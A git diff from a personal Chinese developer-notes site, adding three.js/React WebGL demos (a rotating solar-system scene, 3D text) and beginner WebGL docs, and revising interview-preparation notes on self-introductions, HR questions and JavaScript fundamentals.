const torus = new THREE.Mesh(torusGeometry, torusMaterial);
|
||||
torus.position.y = 4
|
||||
torus.position.x = -15
|
||||
torus.position.z = -1
|
||||
|
||||
scene.add(torus);
|
||||
|
||||
// 圆环扭结(半径,粗细,)
|
||||
const kontGeometry = new THREE.TorusKnotGeometry( 2, 0.3 );
|
||||
const kontMaterial = new THREE.MeshLambertMaterial( { color: 0xffddd0 } );
|
||||
const knot = new THREE.Mesh( kontGeometry, kontMaterial );
|
||||
knot.position.y = -5
|
||||
knot.position.x = -15
|
||||
knot.position.z = -1
|
||||
scene.add( knot );
|
||||
|
||||
//创建线段
|
||||
const lineMaterial = new THREE.LineBasicMaterial({ color: 0x0000ff })
|
||||
|
||||
const linePoints = []
|
||||
linePoints.push(new THREE.Vector3(0, 0, 0))
|
||||
linePoints.push(new THREE.Vector3(0, 100, 0))
|
||||
const lineGeometry = new THREE.BufferGeometry().setFromPoints(points)
|
||||
const line2 = new THREE.Line( lineGeometry, lineMaterial );
|
||||
scene.add( line2 );
|
||||
|
||||
// 创建文字
|
||||
const fontLoader = new FontLoader();
|
||||
let textMesh
|
||||
fontLoader.load('https://fancy-content-test.oss-cn-beijing.aliyuncs.com/helvetiker_regular.typeface.json', function ( font ) {
|
||||
const textGeometry = new TextGeometry('ykx, I Love U!', {
|
||||
font: font,
|
||||
size: 6,
|
||||
depth: 1,
|
||||
height: 0.1,
|
||||
curveSegments: 10,
|
||||
bevelEnabled: true, // 平滑
|
||||
bevelThickness: 1,
|
||||
bevelSize: 0.8, //
|
||||
bevelSegments: 3 // 平滑切角分段
|
||||
});
|
||||
textGeometry.computeBoundingBox();
|
||||
|
||||
const centerOffset = - 0.5 * ( textGeometry.boundingBox.max.x - textGeometry.boundingBox.min.x );
|
||||
|
||||
|
||||
const materials = [
|
||||
new THREE.MeshPhongMaterial( { color: 0xffffff, flatShading: true } ), // front
|
||||
new THREE.MeshPhongMaterial( { color: 0xf00fff } ) // side
|
||||
];
|
||||
textMesh = new THREE.Mesh( textGeometry, materials );
|
||||
|
||||
textMesh.position.z = 10;
|
||||
textMesh.position.x = centerOffset;
|
||||
|
||||
scene.add( textMesh )
|
||||
} );
|
||||
|
||||
// --------------------- 光线 ------------------------------
|
||||
|
||||
// 半球光
|
||||
const fillLight = new THREE.HemisphereLight( 0x8dc1de, 0x00668d, 1.5 );
|
||||
fillLight.position.set( 0, 1, 1 );
|
||||
scene.add( fillLight );
|
||||
|
||||
// const helper = new THREE.HemisphereLightHelper( fillLight, 5 );
|
||||
// scene.add( helper );
|
||||
|
||||
// 平行光
|
||||
const directionalLight = new THREE.DirectionalLight( 0xffffff, 2.5 );
|
||||
directionalLight.position.set( - 5, 25, - 1 );
|
||||
directionalLight.castShadow = true;
|
||||
directionalLight.shadow.camera.near = 0.01;
|
||||
directionalLight.shadow.camera.far = 500;
|
||||
directionalLight.shadow.camera.right = 30;
|
||||
directionalLight.shadow.camera.left = - 30;
|
||||
directionalLight.shadow.camera.top = 30;
|
||||
directionalLight.shadow.camera.bottom = - 30;
|
||||
directionalLight.shadow.mapSize.width = 1024;
|
||||
directionalLight.shadow.mapSize.height = 1024;
|
||||
directionalLight.shadow.radius = 4;
|
||||
directionalLight.shadow.bias = - 0.00006;
|
||||
scene.add(directionalLight);
|
||||
|
||||
|
||||
const controls = new OrbitControls( camera, renderer.domElement );
|
||||
controls.autoRotate = true
|
||||
|
||||
function render() {
|
||||
directionalLight.rotation.x += 0.1
|
||||
directionalLight.rotation.z += 0.1
|
||||
scene.rotation.y += -0.001
|
||||
|
||||
if (resizeRendererToDisplaySize(renderer)) {
|
||||
const canvas = renderer.domElement;
|
||||
camera.aspect = canvas.clientWidth / canvas.clientHeight;
|
||||
camera.updateProjectionMatrix();
|
||||
}
|
||||
|
||||
renderer.setAnimationLoop(render)
|
||||
renderer.render(scene, camera)
|
||||
}
|
||||
render()
|
||||
}
|
||||
|
||||
return (
|
||||
<canvas ref={ref} style={{ width: '100%', height: '100%' }} />
|
||||
)
|
||||
};
|
19
docs/fea/webgl/demo/earth copy.tsx
Normal file
@ -0,0 +1,19 @@
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
import * as THREE from 'three';
|
||||
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
|
||||
|
||||
export default () => {
|
||||
const ref = useRef(null)
|
||||
|
||||
useEffect(() => {
|
||||
|
||||
})
|
||||
|
||||
const init = () => {
|
||||
|
||||
}
|
||||
|
||||
return (
|
||||
<canvas ref={ref} id="earth" />
|
||||
)
|
||||
}
|
142
docs/fea/webgl/demo/earth.tsx
Normal file
@ -0,0 +1,142 @@
|
||||
import React, { useRef, useEffect } from 'react';
|
||||
import * as THREE from 'three';
|
||||
import { GUI } from 'three/addons/libs/lil-gui.module.min.js';
|
||||
import { resizeRendererToDisplaySize, addControls } from '../utils'
|
||||
|
||||
class AxisGridHelper {
|
||||
axes: any;
|
||||
grid: any;
|
||||
_visible: any;
|
||||
constructor( node, units = 10 ) {
|
||||
const axes = new THREE.AxesHelper();
|
||||
axes.material.depthTest = false;
|
||||
axes.renderOrder = 2; // after the grid
|
||||
node.add( axes );
|
||||
|
||||
const grid = new THREE.GridHelper( units, units );
|
||||
grid.material.depthTest = false;
|
||||
grid.renderOrder = 1;
|
||||
node.add( grid );
|
||||
|
||||
this.grid = grid;
|
||||
this.axes = axes;
|
||||
this.visible = false;
|
||||
|
||||
}
|
||||
get visible() {
|
||||
return this._visible;
|
||||
}
|
||||
set visible( v ) {
|
||||
this._visible = v;
|
||||
this.grid.visible = v;
|
||||
this.axes.visible = v;
|
||||
}
|
||||
}
|
||||
|
||||
export default () => {
|
||||
const ref = useRef(null)
|
||||
|
||||
useEffect(() => {
|
||||
ref.current && init(ref.current)
|
||||
})
|
||||
|
||||
|
||||
const init = (dom: any) => {
|
||||
const scene = new THREE.Scene();
|
||||
const camera = new THREE.PerspectiveCamera(40, 2, 0.1, 1000)
|
||||
camera.position.set(0, 50, 0)
|
||||
camera.up.set(0, 0, 1)
|
||||
camera.lookAt(0, 0, 0)
|
||||
const gui = new GUI();
|
||||
|
||||
{
|
||||
const light = new THREE.PointLight(0xffffff, 500)
|
||||
scene.add(light)
|
||||
}
|
||||
|
||||
// 创建球体实例
|
||||
const radius = 1
|
||||
const widthSegments = 6
|
||||
const heightSegments = 6
|
||||
const sphereGeometry = new THREE.SphereGeometry(radius, widthSegments, heightSegments)
|
||||
|
||||
const objects = []
|
||||
const solarSystem = new THREE.Object3D()
|
||||
scene.add(solarSystem)
|
||||
objects.push(solarSystem)
|
||||
|
||||
// 太阳
|
||||
const sunMaterial = new THREE.MeshPhongMaterial({ emissive: 0xffff00 })
|
||||
const sunMesh = new THREE.Mesh(sphereGeometry, sunMaterial)
|
||||
sunMesh.scale.set(5, 5, 5)
|
||||
solarSystem.add(sunMesh)
|
||||
objects.push(sunMesh)
|
||||
|
||||
// 地球
|
||||
const earthOrbit = new THREE.Object3D()
|
||||
earthOrbit.position.x = 10;
|
||||
solarSystem.add(earthOrbit)
|
||||
objects.push(earthOrbit)
|
||||
const earthMaterial = new THREE.MeshPhongMaterial({
|
||||
color: 0x2233ff,
|
||||
emissive: 0x112244,
|
||||
})
|
||||
const earthMesh = new THREE.Mesh(sphereGeometry, earthMaterial)
|
||||
earthOrbit.add(earthMesh)
|
||||
objects.push(earthMesh)
|
||||
|
||||
// 月球
|
||||
const moonOrbit = new THREE.Object3D()
|
||||
moonOrbit.position.x = 2
|
||||
earthOrbit.add(moonOrbit)
|
||||
const moonMaterial = new THREE.MeshPhongMaterial({
|
||||
color: 0x888888,
|
||||
emissive: 0x222222
|
||||
})
|
||||
const moonMesh = new THREE.Mesh(sphereGeometry, moonMaterial)
|
||||
moonMesh.scale.set(.5, .5, .5);
|
||||
moonOrbit.add(moonMesh)
|
||||
objects.push(moonMesh)
|
||||
|
||||
// 渲染器
|
||||
const renderer = new THREE.WebGLRenderer({ antialias: true, canvas: dom });
|
||||
|
||||
// 集体旋转
|
||||
function makeAxisGrid(node, label, units) {
|
||||
const helper = new AxisGridHelper( node, units );
|
||||
gui.add(helper, 'visible').name(label);
|
||||
}
|
||||
|
||||
makeAxisGrid(solarSystem, 'solarSystem', 25);
|
||||
makeAxisGrid(sunMesh, 'sunMesh');
|
||||
makeAxisGrid(earthOrbit, 'earthOrbit');
|
||||
makeAxisGrid(earthMesh, 'earthMesh');
|
||||
makeAxisGrid(moonOrbit, 'moonOrbit');
|
||||
makeAxisGrid(moonMesh, 'moonMesh');
|
||||
|
||||
addControls(camera, renderer);
|
||||
|
||||
function render(time) {
|
||||
time *= 0.001
|
||||
|
||||
if (resizeRendererToDisplaySize(renderer)) {
|
||||
const canvas = renderer.domElement;
|
||||
camera.aspect = canvas.clientWidth / canvas.clientHeight;
|
||||
camera.updateProjectionMatrix();
|
||||
}
|
||||
|
||||
objects.forEach((obj) => {
|
||||
obj.rotation.y = time
|
||||
})
|
||||
|
||||
renderer.setAnimationLoop(render)
|
||||
renderer.render(scene, camera)
|
||||
}
|
||||
renderer.setAnimationLoop(render)
|
||||
}
|
||||
|
||||
|
||||
return (
|
||||
<canvas ref={ref} id="earth" style={{ width: '100%', height: '500px'}} />
|
||||
)
|
||||
}
|
@ -4,46 +4,72 @@ nav:
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 webGL
|
||||
order: 9
|
||||
path: /webGL
|
||||
order: 1
|
||||
path: /webgl
|
||||
---
|
||||
|
||||
# 💊 webGL
|
||||
# 基础
|
||||
|
||||
## 介绍
|
||||
|
||||
:::info{title=记录日志}
|
||||
本文档从 2023 年 10 月 20 开始,主要用来记录 threejs 的学习过程和踩坑记录,方便复盘与总结。
|
||||
:::
|
||||
|
||||
### 基本对象
|
||||
|
||||
一个基本的 3D 场景需要包括的以下几个必备要素:
|
||||
|
||||
- 场景:scence
|
||||
- 相机:camera
|
||||
- 相机创建实例图(THREE.PerspectiveCamera(fovy, aspect, zNear, zFar)):
|
||||
- 相机:camera(实例 THREE.PerspectiveCamera(fov, aspect, zNear, zFar))
|
||||
- 渲染器:renderer
|
||||
|
||||
### 绘制方法
|
||||
|
||||
- 网孔(Meshes,推荐)
|
||||
- 多边形(Polygons)
|
||||
- 顶点(Vertices)
|
||||
基本的场景搭建好了,现在我们需要在这个场景中放置我们想要的对象,一般我们想要的基本几何体可以通过以下方式创建:
|
||||
|
||||
- Geomety(几何体,常用)
|
||||
- Materials(材质)
|
||||
- Mesh(网格对象)
|
||||
|
||||
大致思路为:创建一个几何体,给几何体附加材质,组合之后加入场景中,如下所示
|
||||
|
||||
```js
|
||||
const geometry = new THREE.BoxGeometry(1, 1, 1);
|
||||
const material = new THREE.MeshBasicMaterial({ color: 0xffff00 });
|
||||
const mesh = new THREE.Mesh(geometry, material);
|
||||
scene.add(mesh);
|
||||
```
|
||||
|
||||
### 其它
|
||||
|
||||
- 材料(Materials)
|
||||
如果想要让场景更加精美,我们需要添加更多的参数来达到想要的效果
|
||||
|
||||
- 纹理(Textures)
|
||||
- 光照(Lights)
|
||||
- 变换(Transforms)
|
||||
- 矩阵(Matrices)
|
||||
- 相机(Cameras)
|
||||
- 视角(Perspective)
|
||||
- 视窗(Viewports)
|
||||
- 着色器(shader)
|
||||
- 着色器(Shader)
|
||||
- 群组(Group)
|
||||
|
||||
### pixi
|
||||
## 社区
|
||||
|
||||
一款基于webGL的 2d渲染引擎,用来写一些bit游戏还是挺好用的。
|
||||
### pixiJS
|
||||
|
||||
参考的文档有以下:
|
||||
一款基于 webGL 的 2d 渲染引擎,用来写一些 bit 游戏还是挺好用的。
|
||||
|
||||
1. [pixi中文](http://pixijs.huashengweilai.com/guide/start/9.make-sprite-from-texture-atlas.html#%E9%80%9A%E8%BF%87%E7%BA%B9%E7%90%86%E8%B4%B4%E5%9B%BE%E9%9B%86%E5%88%9B%E5%BB%BA%E7%B2%BE%E7%81%B5)
|
||||
2. [PIXI API大全](https://pixijs.download/release/docs/index.html)
|
||||
### threeJs
|
||||
|
||||
目前比较热门的基于 webgl 的框架,缺点是每个版本之间的接口差异较大,所以使用的时候需要根据版本来找对应的接口文档
|
||||
|
||||
本文会更多的以 threejs 为基础框架来展开深入构建一个 3Dweb 世界
|
||||
|
||||
## 参考文档
|
||||
|
||||
1. [pixi 中文](http://pixijs.huashengweilai.com/guide/start/9.make-sprite-from-texture-atlas.html#%E9%80%9A%E8%BF%87%E7%BA%B9%E7%90%86%E8%B4%B4%E5%9B%BE%E9%9B%86%E5%88%9B%E5%BB%BA%E7%B2%BE%E7%81%B5)
|
||||
2. [PIXI API 大全](https://pixijs.download/release/docs/index.html)
|
||||
3. [bit 贴图大全](https://opengameart.org/)
|
||||
4. [threeJs](https://techbrood.com/threejs/examples/#webgl_shadowmap_pointlight)
|
||||
5. [puxiao 的教程](https://github.com/puxiao/threejs-tutorial)
|
||||
6. [threeJs 官方教程](https://threejs.org/manual/#zh/fundamentals)
|
||||
|
19
docs/fea/webgl/threeJS.md
Normal file
@ -0,0 +1,19 @@
|
||||
---
|
||||
nav:
|
||||
title: 前端
|
||||
path: /fea
|
||||
group:
|
||||
title: 💊 webGL
|
||||
order: 3
|
||||
path: /webgl
|
||||
---
|
||||
|
||||
# threeJS 入门
|
||||
|
||||
## 创建基础元素
|
||||
|
||||
<!-- <code src="./demo/base.tsx" ></code> -->
|
||||
|
||||
## 创建一个地球的场景
|
||||
|
||||
<code src="./demo/earth.tsx" ></code>
|
18
docs/fea/webgl/utils/index.ts
Normal file
@ -0,0 +1,18 @@
|
||||
import { OrbitControls } from 'three/addons/controls/OrbitControls.js';
|
||||
|
||||
export const resizeRendererToDisplaySize = (renderer) => {
|
||||
const canvas = renderer.domElement;
|
||||
const pixelRatio = window.devicePixelRatio;
|
||||
const width = canvas.clientWidth * pixelRatio | 0;
|
||||
const height = canvas.clientHeight * pixelRatio | 0;
|
||||
const needResize = canvas.width !== width || canvas.height !== height;
|
||||
if (needResize) {
|
||||
renderer.setSize(width, height, false);
|
||||
}
|
||||
return needResize;
|
||||
}
|
||||
|
||||
export const addControls = (camera: any, renderer: any) => {
|
||||
const controls = new OrbitControls( camera, renderer.domElement );
|
||||
controls.autoRotate = true
|
||||
}
|
@ -8,7 +8,7 @@ group:
|
||||
path: /website
|
||||
---
|
||||
|
||||
## 💊 学习文档
|
||||
# 💊 学习文档
|
||||
|
||||
### TS 学习
|
||||
|
||||
|
@ -1,20 +1,19 @@
|
||||
---
|
||||
title: Nice Note
|
||||
hero:
|
||||
title: Nice Note
|
||||
desc: 💊 Dev's 笔记
|
||||
description: dev 的博客
|
||||
actions:
|
||||
- text: 开始学习
|
||||
link: /fea/website
|
||||
features:
|
||||
- icon: http://jzx-h5.oss-cn-hangzhou.aliyuncs.com/logo.png
|
||||
title: NiceCode
|
||||
desc: <a href="https://nicecoders.github.io">前端工具合集</a>
|
||||
|
||||
footer: Open-source MIT Licensed | Copyright © 2019<br />Powered by Dev
|
||||
- emoji: 🍍
|
||||
title: nicecode
|
||||
description: <a href="https://nicecoders.github.io">前端工具合集</a>
|
||||
---
|
||||
|
||||
嗨,我是 dev,这是我用来记录我的职业生涯总结的各种乱七八糟的知识点,希望能对你有帮助
|
||||
这里记录了我所有工作中和非工作中的思考和总结
|
||||
|
||||
## 更新日志
|
||||
思维比较发散,想到哪写到哪
|
||||
|
||||
<embed src="../CHANGELOG.md"></embed>
|
||||
|
12
docs/interview/algorithms.md
Normal file
@ -0,0 +1,12 @@
|
||||
---
|
||||
nav:
|
||||
title: 面试
|
||||
path: /interview
|
||||
group:
|
||||
title: 💊 面试题库
|
||||
order: 2
|
||||
---
|
||||
|
||||
# 算法题
|
||||
|
||||
参考链接:<https://github.com/trekhleb/javascript-algorithms/blob/master/README.zh-CN.md>
|
@ -18,19 +18,14 @@ group:
|
||||
|
||||
举个例子:
|
||||
|
||||
--------------------------------
|
||||
面试官好,我叫dev,18年毕业于东华理工大学软件工程,从大四开始就一直从事前端开发的工作
|
||||
> 面试官好,我叫 XX,18 年毕业于 XXX 大学软件工程,从大四开始就一直从事前端开发的工作
|
||||
> 我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉,自己有从 0-1 大型项目的经验和能力,包括前端项目的自动构建脚本编写,项目服务器发布,基本的 node 接口服务开发。服务器 Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
|
||||
> 在上家公司是 XXXX 的项目负责人,主要职责是负责从 0-1 视频编辑器的开发和后期维护,还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统,目的是为了高效对接后端接口质量(自动化测试)和解放手动编写接口的工作(通过后端 swagger 文档自动生成包含 ts 注释的接口),其它还负责公司的 UI 组件库的部分开发
|
||||
> 除了开发相关的工作,还有一定的作为 Owner 的项目管理经验:比如需求评审,UI\UX 交互评审,负责小组项目排期,成员之间的协作开发,监督成员之间的 codeReview,敏捷开发推动项目进度等。
|
||||
> 另外我有自己的博客,主要是用来记录在工作中的一些心得,和碰到的问题和解决方案。同时去记录一些学到的新的知识,并把它分享到 sf、csdn、juejin 这类的技术平台上。
|
||||
> 在 github 上....做这件事的原因是,我感觉开源还挺有成就感也挺有趣的
|
||||
|
||||
我比较擅长的是 react 全家桶,平时开发的话,打包工具的话对 webpack 比较熟悉,自己有从0-1大型项目的经验和能力,包括前端项目的自动构建脚本编写,项目服务器发布,基本的node接口服务开发。服务器Nginx 的配置,负载均衡,域名服务器的配置,和使用 pm2 的去做项目的守护进程管理全链路开发。
|
||||
|
||||
在上家公司是人工智能创意中心,视频编辑器的项目负责人,主要职责是负责从0-1视频编辑器的开发和后期维护,还有及时响应客户需求。在此期间还基于 yapi 搭建了一套接口自动化管理系统,目的是为了高效对接后端接口质量(自动化测试)和解放手动编写接口的工作(通过后端swagger文档自动生成包含ts注释的接口),其它还负责公司的UI组件库的部分开发
|
||||
|
||||
除了开发相关的工作,还有一定的作为Owner的项目管理经验:比如需求评审,UI\UX交互评审,负责小组项目排期,成员之间的协作开发,监督成员之间的codeReview,敏捷开发推动项目进度等。
|
||||
|
||||
另外我有自己的博客,主要是用来记录在工作中的一些心得,和碰到的问题和解决方案。同时去记录一些学到的新的知识,早期也发过一些文章再segmentfault和掘金上。
|
||||
在 github 上我还成立了一个自己的组织叫nicecode,主要是用来沉淀一些这些年工作中整合的一些能提升工作效率的方案,比如说:脚手架、git提交校验工具、敏感字过滤库,常见函数方法、还有开发过一款基于 vscode 的代码片段插件。前前后后写了10几个npm包了,做这件事的原因是,我感觉开源还挺有成就感也挺有趣的
|
||||
|
||||
--------------------------------
|
||||
> 目前在学习...
|
||||
|
||||
## 如何粗略判断公司是否靠谱
|
||||
|
||||
@ -46,11 +41,17 @@ group:
|
||||
|
||||
很推荐大家在准备面试的过程中,挖掘出自己擅长的技术内容,然后在面试的过程中,寻找机会引导面试官提问你擅长的技术点。
|
||||
|
||||
## 你最近碰到什么挑战?
|
||||
|
||||
**我(最近的一个时间)在做(怎样的一个产品/程序),这个产品/程序的目的是(帮助用户完成什么事),其中有一个(什么模块),为了实现(什么功能),用到了(什么技术),但是(遇到了什么挑战/难点/bug),我通过(怎样的手段)定位问题所在,问题出现的原因是(简要的点到技术点的描述),我在(至少两个资料来源)上找到了参考,最后基于(怎样的决策标准)决定采用(何种解决方法),运用了(哪种技术),最后成功解决了问题/实现了功能,结果是这个产品/程序(对用户,系统,性能,可用性,资源等产生了何种正面的影响)。下一步,我认为我应该研究(何种更先进的方式),进一步(怎样让产品/程序做得更好)。**
|
||||
|
||||
之前将视频编辑器从 1.0 迁移到 2.0,目的是引用 vue3 和抛弃之前的遗留问题,比如说依赖包的杂糅和重,当时在考虑做视频编辑器的架构,是想直接写成个大组件,通过 props 参数来控制编辑器的功能,后面从性能和易用性来考虑,觉得还是将整体插件化更好,所以将整体架构改成可插拔式。在开发的过程中又发现关于数据传递板块如果通过传统的 props 或者是 vuex 的形式传递,使用起来会非常不方便,所以将它改成发布订阅模式来调用,将整体的数据放在一个 protocol 空间中,再通过各个控制面板的调用去触发,反馈到视频渲染层的监听器与其它对应插件的监听器上。最后实际应用中确实使用起来非常丝滑。这个编辑器的整体架构也使性能上提升了很多。
|
||||
|
||||
### 常见问题答复
|
||||
|
||||
1. 你什么时候入职?
|
||||
|
||||
在职的时候说:需要交接一下手续,大概1-2礼拜。
|
||||
在职的时候说:需要交接一下手续,大概 1-2 礼拜。
|
||||
离职的时候说:确定录用的话,大概一周左右时间可以入职。
|
||||
|
||||
2. 为啥工作换的这么频繁?
|
||||
@ -64,9 +65,10 @@ group:
|
||||
4. 为什么你觉得可以胜任这份工作?
|
||||
|
||||
从三个角度去展开:
|
||||
* 工作经历、项目背景与当前岗位的匹配度
|
||||
* 个人能力模型的匹配度
|
||||
* 突出过往的工作中取得的成绩,竞争力优势
|
||||
|
||||
- 工作经历、项目背景与当前岗位的匹配度
|
||||
- 个人能力模型的匹配度
|
||||
- 突出过往的工作中取得的成绩,竞争力优势
|
||||
|
||||
5. 你的期望薪资是多少?
|
||||
|
||||
@ -78,7 +80,7 @@ group:
|
||||
|
||||
7. 为啥没干多久就离职了?
|
||||
|
||||
两个方面,一个方面是和当初说好的不一样,公司目前使用vue,但是会用 react 重启新项目,我认为做一件事专精很重要。另一方面,加班比较多,项目上线冲进度加班是正常且合理的,但是经常周末需要加班,晚上10-11点走,CTO 倒排压缩开发时长不是很合理,生活和工作太不平衡,我不是很能接受
|
||||
两个方面,一个方面是和当初说好的不一样,公司目前使用 vue,但是会用 react 重启新项目,我认为做一件事专精很重要。另一方面,加班比较多,项目上线冲进度加班是正常且合理的,但是经常周末需要加班,晚上 10-11 点走,CTO 倒排压缩开发时长不是很合理,生活和工作太不平衡,我不是很能接受
|
||||
|
||||
## 谈钱
|
||||
|
||||
@ -92,3 +94,5 @@ group:
|
||||
## 话术技巧参考
|
||||
|
||||
<https://juejin.cn/post/7173316141161381924>
|
||||
<https://juejin.cn/post/6844903869382656008>
|
||||
<https://vue3js.cn/interview/>
|
||||
|
BIN
docs/interview/img/hooks.png
Normal file
After Width: | Height: | Size: 1.4 MiB |
@ -29,20 +29,19 @@ group:
|
||||
2. instanceof 可以判断复杂引用数据类型,但是不能判断基本数据类型
|
||||
3. typeof 能判断基本数据类型,在引用类型中只能判断 function
|
||||
|
||||
> 通用检测数据类型,可以采用Object.prototype.toString.call(),调用该方法,统一返回格式“[object Xxx]” 的字符串
|
||||
> 通用检测数据类型,可以采用 Object.prototype.toString.call(),调用该方法,统一返回格式“[object Xxx]” 的字符串
|
||||
|
||||
### 3种强制类型转换两种隐式类型转换
|
||||
### 3 种强制类型转换两种隐式类型转换
|
||||
|
||||
- parseInt parseFloat number
|
||||
- == - ===
|
||||
|
||||
### 数组方法pop() push() unshift() shift()
|
||||
|
||||
### 数组方法 pop() push() unshift() shift()
|
||||
|
||||
- push() 尾部添加 pop() 尾部删除
|
||||
- unshift() 头部添加 shift() 头部删除
|
||||
|
||||
### ajax请求 get 和 post 的区别
|
||||
### ajax 请求 get 和 post 的区别
|
||||
|
||||
```text
|
||||
post: 1. 传参不同,请求参数放在虚拟载体里面(data对象)、2. 如果服务器端不介入干预,大小没有限制。3. 参数不会暴露在链接上,所以安全性更强,并且post的内容不会被缓存。4. 传参类型不做限制。
|
||||
@ -51,18 +50,23 @@ get: 1. 参数在链接上。2、url链接长度有限制,所以大小有限
|
||||
|
||||
```
|
||||
|
||||
### call 和 apply 的区别
|
||||
### bind、call 和 apply 的区别
|
||||
|
||||
call可以允许多个参数入参,而apply只允许一个参数
|
||||
共同点:都是为了改变 this 的指向而存在
|
||||
|
||||
- object.call(this, obj1,obj2,obj3)
|
||||
- object.apply(this, argument)
|
||||
不同点:
|
||||
|
||||
- call 可以接受多个参数:object.call(this, obj1,obj2,obj3)
|
||||
- bind 可以接受多个参数:object.bind(this, obj1,obj2,obj3)
|
||||
- apply 接受两个参数,一个是指向的对象,一个是需要传递的参数 object.apply(this, ${Array})
|
||||
- call 和 apply 改变上下文 this 指向后,立刻执行该函数,而 bind 不执行
|
||||
|
||||
使用场景:如果参数数量不确定就用 apply,确定就用 call.
|
||||
|
||||
### ajax 请求时,如何解析 json 数据
|
||||
|
||||
|
||||
- 使用eval parse,介于安全性考虑 使用parse 更靠谱
|
||||
- eval 可以解析任何字符串,parse只解析json格式的字符串
|
||||
- 使用 eval parse,介于安全性考虑 使用 parse 更靠谱
|
||||
- eval 可以解析任何字符串,parse 只解析 json 格式的字符串
|
||||
|
||||
### 添加 删除 替换 插入到某个节点的方法
|
||||
|
||||
@ -71,65 +75,61 @@ call可以允许多个参数入参,而apply只允许一个参数
|
||||
- obj.replaceChild()
|
||||
- obj.removeChild()
|
||||
|
||||
|
||||
|
||||
### javascript 同源策略
|
||||
|
||||
- 一段脚本只能读取来自同一来源的穿考核文档的属性,同源:指主机名,协议和端口号的组合
|
||||
|
||||
### 编写一个 b 继承 a 的方法
|
||||
|
||||
|
||||
```javascript
|
||||
function A(name) {
|
||||
this.name = name;
|
||||
this.sayHello = function() {
|
||||
alert(this.name+ "say hello!")
|
||||
}
|
||||
this.sayHello = function () {
|
||||
alert(this.name + 'say hello!');
|
||||
};
|
||||
}
|
||||
|
||||
function B(name, id) {
|
||||
this.temp = A
|
||||
this.temp(name)
|
||||
delete this.temp
|
||||
this.id = id
|
||||
this.checkId = function(ID) {alert(this.id == ID)}
|
||||
this.temp = A;
|
||||
this.temp(name);
|
||||
delete this.temp;
|
||||
this.id = id;
|
||||
this.checkId = function (ID) {
|
||||
alert(this.id == ID);
|
||||
};
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 如何阻止事件冒泡和默认事件
|
||||
|
||||
|
||||
```javascript
|
||||
function stopBubble(e) {
|
||||
if (e && e.stopPropagation) {
|
||||
e.stopPropgation ()
|
||||
} else {
|
||||
window.event.cancelBubble = true
|
||||
}
|
||||
return false
|
||||
if (e && e.stopPropagation) {
|
||||
e.stopPropgation();
|
||||
} else {
|
||||
window.event.cancelBubble = true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### 谈谈 this 对象的理解
|
||||
|
||||
- this只在调用的时候发生指向确认,它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。
|
||||
- this 一般情况下: 是指全局对象global, 如果作为方法调用,就指向这个对象
|
||||
- this 只在调用的时候发生指向确认,它指向什么取决于在什么地方调用。this 指向的就是调用函数的那个对象。
|
||||
- this 一般情况下: 是指全局对象 global, 如果作为方法调用,就指向这个对象
|
||||
- 对于直接调用 foo 来说,不管 foo 函数被放在了什么地方,this 一定是 window
|
||||
- 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this,所以在这个场景下 foo 函数中的 this 就是 obj 对象(箭头函数则指向window)
|
||||
- 对于 obj.foo() 来说,我们只需要记住,谁调用了函数,谁就是 this,所以在这个场景下 foo 函数中的 this 就是 obj 对象(箭头函数则指向 window)
|
||||
- 对于 new 的方式来说,this 被永远绑定在构造函数上面,不会被任何方式改变 this
|
||||
|
||||
```js
|
||||
class Test {
|
||||
constructor() {
|
||||
console.log(this)
|
||||
console.log(this);
|
||||
}
|
||||
}
|
||||
export default () => {
|
||||
let demo = new Test()
|
||||
}
|
||||
let demo = new Test();
|
||||
};
|
||||
```
|
||||
|
||||
### `location.replace()`与`location.assign()`区别
|
||||
@ -138,117 +138,65 @@ export default () => {
|
||||
location.replace() 的 url 不会出现在 history 中
|
||||
```
|
||||
|
||||
|
||||
### DOM 操作
|
||||
|
||||
```html
|
||||
// 创建节点
|
||||
createDocumentFragment()
|
||||
createElement()
|
||||
createTextNode()
|
||||
|
||||
// 添加 移除 替换 插入
|
||||
appendChild()
|
||||
removeChild()
|
||||
replaceChild()
|
||||
insertBefore()
|
||||
|
||||
// 查找
|
||||
getElementsByTagName()
|
||||
getElementsByName()
|
||||
getElementsByClassName()
|
||||
getElementById()
|
||||
querySelector()
|
||||
querySelectorAll()
|
||||
// 创建节点 createDocumentFragment() createElement() createTextNode() // 添加
|
||||
移除 替换 插入 appendChild() removeChild() replaceChild() insertBefore() // 查找
|
||||
getElementsByTagName() getElementsByName() getElementsByClassName()
|
||||
getElementById() querySelector() querySelectorAll()
|
||||
```
|
||||
|
||||
### JS设置css样式的几种方式
|
||||
### JS 设置 css 样式的几种方式
|
||||
|
||||
```html
|
||||
/* 1.直接设置style属性 */
|
||||
element.style.height = '100px';
|
||||
|
||||
/* 2.直接设置属性 */
|
||||
element.setAttribute('height', '100px');
|
||||
|
||||
/* 3.使用setAttribute设置style属性 */
|
||||
element.setAttribute('style', 'height: 100px !important');
|
||||
|
||||
/* 4.使用setProperty设置属性,通过第三个参数设置important */
|
||||
element.style.setProperty('height', '300px', 'important');
|
||||
|
||||
/* 5.设置cssText */
|
||||
/* 1.直接设置style属性 */ element.style.height = '100px'; /* 2.直接设置属性 */
|
||||
element.setAttribute('height', '100px'); /* 3.使用setAttribute设置style属性 */
|
||||
element.setAttribute('style', 'height: 100px !important'); /*
|
||||
4.使用setProperty设置属性,通过第三个参数设置important */
|
||||
element.style.setProperty('height', '300px', 'important'); /* 5.设置cssText */
|
||||
element.style.cssText += 'height: 100px !important';
|
||||
```
|
||||
|
||||
|
||||
### 阻止默认行为
|
||||
|
||||
```html
|
||||
function stopDefault( e ) {
|
||||
// 阻止默认浏览器动作(W3C)
|
||||
if ( e && e.preventDefault ) {
|
||||
e.preventDefault();
|
||||
} else {
|
||||
// IE中阻止函数器默认动作的方式
|
||||
window.event.returnValue = false;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
function stopDefault( e ) { // 阻止默认浏览器动作(W3C) if ( e &&
|
||||
